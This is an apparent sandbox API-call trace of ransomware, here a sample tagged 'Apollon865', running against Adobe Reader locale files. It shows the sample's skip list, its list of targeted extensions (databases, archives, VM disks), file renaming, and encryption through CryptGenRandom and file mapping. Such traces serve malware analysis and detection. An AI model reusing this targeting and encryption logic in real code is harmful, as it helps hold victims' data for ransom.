	[0059.901] lstrlenW (lpString="cat") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.901] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT.Apollon865") returned 84
	[0059.901] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.902] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.903] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16896) returned 1
	[0059.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.903] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.904] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.904] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.904] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4500, lpName=0x0) returned 0x154
	[0059.905] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4500) returned 0x120000
	[0059.907] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.907] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.907] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.908] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.908] CloseHandle (hObject=0x154) returned 1
	[0059.908] CloseHandle (hObject=0x15c) returned 1
	[0059.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.909] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="Apollon865.txt.exe") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2=".") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="..") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="temp") returned -1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="pagefile.sys") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="boot") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="ids.txt") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="perflogs") returned 1
	[0059.909] lstrcmpiW (lpString1="Services", lpString2="MSBuild") returned 1
	[0059.909] lstrlenW (lpString="Services") returned 8
	[0059.909] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT") returned 73
	[0059.909] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Services" | out: lpString1="Services") returned="Services"
	[0059.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0059.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599450
	[0059.909] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0059.909] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1
	[0059.909] lstrcmpiW (lpString1="Spelling.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.909] lstrcmpiW (lpString1="Spelling.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.909] lstrcmpiW (lpString1="Spelling.CAT", lpString2=".") returned 1
	[0059.909] lstrcmpiW (lpString1="Spelling.CAT", lpString2="..") returned 1
	[0059.909] lstrcmpiW (lpString1="Spelling.CAT", lpString2="windows") returned -1
	[0059.909] lstrcmpiW (lpString1="Spelling.CAT", lpString2="bootmgr") returned 1
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2="temp") returned -1
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2="pagefile.sys") returned 1
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2="boot") returned 1
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2="ids.txt") returned 1
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2="ntuser.dat") returned 1
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2="perflogs") returned 1
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2="MSBuild") returned 1
	[0059.910] lstrlenW (lpString="Spelling.CAT") returned 12
	[0059.910] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned 69
	[0059.910] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Spelling.CAT" | out: lpString1="Spelling.CAT") returned="Spelling.CAT"
	[0059.910] lstrlenW (lpString="Spelling.CAT") returned 12
	[0059.910] lstrlenW (lpString="Apollon865") returned 10
	[0059.910] lstrcmpiW (lpString1="elling.CAT", lpString2="Apollon865") returned 1
	[0059.910] lstrlenW (lpString=".dll") returned 4
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2=".dll") returned 1
	[0059.910] lstrlenW (lpString=".lnk") returned 4
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2=".lnk") returned 1
	[0059.910] lstrlenW (lpString=".ini") returned 4
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2=".ini") returned 1
	[0059.910] lstrlenW (lpString=".sys") returned 4
	[0059.910] lstrcmpiW (lpString1="Spelling.CAT", lpString2=".sys") returned 1
	[0059.910] lstrlenW (lpString="Spelling.CAT") returned 12
	[0059.910] lstrlenW (lpString="bak") returned 3
	[0059.910] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.910] lstrlenW (lpString="ba_") returned 3
	[0059.910] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.910] lstrlenW (lpString="dbb") returned 3
	[0059.910] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.910] lstrlenW (lpString="vmdk") returned 4
	[0059.910] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.910] lstrlenW (lpString="rar") returned 3
	[0059.910] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.910] lstrlenW (lpString="zip") returned 3
	[0059.910] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.910] lstrlenW (lpString="tgz") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.911] lstrlenW (lpString="vbox") returned 4
	[0059.911] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.911] lstrlenW (lpString="vdi") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.911] lstrlenW (lpString="vhd") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.911] lstrlenW (lpString="vhdx") returned 4
	[0059.911] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.911] lstrlenW (lpString="avhd") returned 4
	[0059.911] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.911] lstrlenW (lpString="db") returned 2
	[0059.911] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.911] lstrlenW (lpString="db2") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.911] lstrlenW (lpString="db3") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.911] lstrlenW (lpString="dbf") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.911] lstrlenW (lpString="mdf") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.911] lstrlenW (lpString="mdb") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.911] lstrlenW (lpString="sql") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.911] lstrlenW (lpString="sqlite") returned 6
	[0059.911] lstrcmpiW (lpString1="ng.CAT", lpString2="sqlite") returned -1
	[0059.911] lstrlenW (lpString="sqlite3") returned 7
	[0059.911] lstrcmpiW (lpString1="ing.CAT", lpString2="sqlite3") returned -1
	[0059.911] lstrlenW (lpString="sqlitedb") returned 8
	[0059.911] lstrcmpiW (lpString1="ling.CAT", lpString2="sqlitedb") returned -1
	[0059.911] lstrlenW (lpString="xml") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.911] lstrlenW (lpString="$er") returned 3
	[0059.911] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.912] lstrlenW (lpString="4dd") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.912] lstrlenW (lpString="4dl") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.912] lstrlenW (lpString="^^^") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.912] lstrlenW (lpString="abs") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.912] lstrlenW (lpString="abx") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.912] lstrlenW (lpString="accdb") returned 5
	[0059.912] lstrcmpiW (lpString1="g.CAT", lpString2="accdb") returned 1
	[0059.912] lstrlenW (lpString="accdc") returned 5
	[0059.912] lstrcmpiW (lpString1="g.CAT", lpString2="accdc") returned 1
	[0059.912] lstrlenW (lpString="accde") returned 5
	[0059.912] lstrcmpiW (lpString1="g.CAT", lpString2="accde") returned 1
	[0059.912] lstrlenW (lpString="accdr") returned 5
	[0059.912] lstrcmpiW (lpString1="g.CAT", lpString2="accdr") returned 1
	[0059.912] lstrlenW (lpString="accdt") returned 5
	[0059.912] lstrcmpiW (lpString1="g.CAT", lpString2="accdt") returned 1
	[0059.912] lstrlenW (lpString="accdw") returned 5
	[0059.912] lstrcmpiW (lpString1="g.CAT", lpString2="accdw") returned 1
	[0059.912] lstrlenW (lpString="accft") returned 5
	[0059.912] lstrcmpiW (lpString1="g.CAT", lpString2="accft") returned 1
	[0059.912] lstrlenW (lpString="adb") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.912] lstrlenW (lpString="adb") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.912] lstrlenW (lpString="ade") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.912] lstrlenW (lpString="adf") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.912] lstrlenW (lpString="adn") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.912] lstrlenW (lpString="adp") returned 3
	[0059.912] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.913] lstrlenW (lpString="alf") returned 3
	[0059.913] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.913] lstrlenW (lpString="ask") returned 3
	[0059.913] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.913] lstrlenW (lpString="btr") returned 3
	[0059.913] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.913] lstrlenW (lpString="cat") returned 3
	[0059.913] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.913] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT.Apollon865") returned 84
	[0059.913] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.914] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10752) returned 1
	[0059.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.914] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.915] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.915] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.915] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d00, lpName=0x0) returned 0x154
	[0059.916] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d00) returned 0x120000
	[0059.917] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.918] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.918] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.918] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.918] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.919] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.919] CloseHandle (hObject=0x154) returned 1
	[0059.919] CloseHandle (hObject=0x15c) returned 1
	[0059.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.919] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updater.CAT", cAlternateFileName="")) returned 1
	[0059.919] lstrcmpiW (lpString1="updater.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.919] lstrcmpiW (lpString1="updater.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.919] lstrcmpiW (lpString1="updater.CAT", lpString2=".") returned 1
	[0059.919] lstrcmpiW (lpString1="updater.CAT", lpString2="..") returned 1
	[0059.919] lstrcmpiW (lpString1="updater.CAT", lpString2="windows") returned -1
	[0059.919] lstrcmpiW (lpString1="updater.CAT", lpString2="bootmgr") returned 1
	[0059.919] lstrcmpiW (lpString1="updater.CAT", lpString2="temp") returned 1
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2="pagefile.sys") returned 1
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2="boot") returned 1
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2="ids.txt") returned 1
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2="ntuser.dat") returned 1
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2="perflogs") returned 1
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2="MSBuild") returned 1
	[0059.920] lstrlenW (lpString="updater.CAT") returned 11
	[0059.920] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT") returned 73
	[0059.920] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="updater.CAT" | out: lpString1="updater.CAT") returned="updater.CAT"
	[0059.920] lstrlenW (lpString="updater.CAT") returned 11
	[0059.920] lstrlenW (lpString="Apollon865") returned 10
	[0059.920] lstrcmpiW (lpString1="pdater.CAT", lpString2="Apollon865") returned 1
	[0059.920] lstrlenW (lpString=".dll") returned 4
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2=".dll") returned 1
	[0059.920] lstrlenW (lpString=".lnk") returned 4
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2=".lnk") returned 1
	[0059.920] lstrlenW (lpString=".ini") returned 4
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2=".ini") returned 1
	[0059.920] lstrlenW (lpString=".sys") returned 4
	[0059.920] lstrcmpiW (lpString1="updater.CAT", lpString2=".sys") returned 1
	[0059.920] lstrlenW (lpString="updater.CAT") returned 11
	[0059.920] lstrlenW (lpString="bak") returned 3
	[0059.920] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.920] lstrlenW (lpString="ba_") returned 3
	[0059.920] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.920] lstrlenW (lpString="dbb") returned 3
	[0059.920] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.920] lstrlenW (lpString="vmdk") returned 4
	[0059.920] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.921] lstrlenW (lpString="rar") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.921] lstrlenW (lpString="zip") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.921] lstrlenW (lpString="tgz") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.921] lstrlenW (lpString="vbox") returned 4
	[0059.921] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.921] lstrlenW (lpString="vdi") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.921] lstrlenW (lpString="vhd") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.921] lstrlenW (lpString="vhdx") returned 4
	[0059.921] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.921] lstrlenW (lpString="avhd") returned 4
	[0059.921] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.921] lstrlenW (lpString="db") returned 2
	[0059.921] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.921] lstrlenW (lpString="db2") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.921] lstrlenW (lpString="db3") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.921] lstrlenW (lpString="dbf") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.921] lstrlenW (lpString="mdf") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.921] lstrlenW (lpString="mdb") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.921] lstrlenW (lpString="sql") returned 3
	[0059.921] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.921] lstrlenW (lpString="sqlite") returned 6
	[0059.921] lstrcmpiW (lpString1="er.CAT", lpString2="sqlite") returned -1
	[0059.921] lstrlenW (lpString="sqlite3") returned 7
	[0059.921] lstrcmpiW (lpString1="ter.CAT", lpString2="sqlite3") returned 1
	[0059.921] lstrlenW (lpString="sqlitedb") returned 8
	[0059.922] lstrcmpiW (lpString1="ater.CAT", lpString2="sqlitedb") returned -1
	[0059.922] lstrlenW (lpString="xml") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.922] lstrlenW (lpString="$er") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.922] lstrlenW (lpString="4dd") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.922] lstrlenW (lpString="4dl") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.922] lstrlenW (lpString="^^^") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.922] lstrlenW (lpString="abs") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.922] lstrlenW (lpString="abx") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.922] lstrlenW (lpString="accdb") returned 5
	[0059.922] lstrcmpiW (lpString1="r.CAT", lpString2="accdb") returned 1
	[0059.922] lstrlenW (lpString="accdc") returned 5
	[0059.922] lstrcmpiW (lpString1="r.CAT", lpString2="accdc") returned 1
	[0059.922] lstrlenW (lpString="accde") returned 5
	[0059.922] lstrcmpiW (lpString1="r.CAT", lpString2="accde") returned 1
	[0059.922] lstrlenW (lpString="accdr") returned 5
	[0059.922] lstrcmpiW (lpString1="r.CAT", lpString2="accdr") returned 1
	[0059.922] lstrlenW (lpString="accdt") returned 5
	[0059.922] lstrcmpiW (lpString1="r.CAT", lpString2="accdt") returned 1
	[0059.922] lstrlenW (lpString="accdw") returned 5
	[0059.922] lstrcmpiW (lpString1="r.CAT", lpString2="accdw") returned 1
	[0059.922] lstrlenW (lpString="accft") returned 5
	[0059.922] lstrcmpiW (lpString1="r.CAT", lpString2="accft") returned 1
	[0059.922] lstrlenW (lpString="adb") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.922] lstrlenW (lpString="adb") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.922] lstrlenW (lpString="ade") returned 3
	[0059.922] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.923] lstrlenW (lpString="adf") returned 3
	[0059.923] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.923] lstrlenW (lpString="adn") returned 3
	[0059.923] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.923] lstrlenW (lpString="adp") returned 3
	[0059.923] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.923] lstrlenW (lpString="alf") returned 3
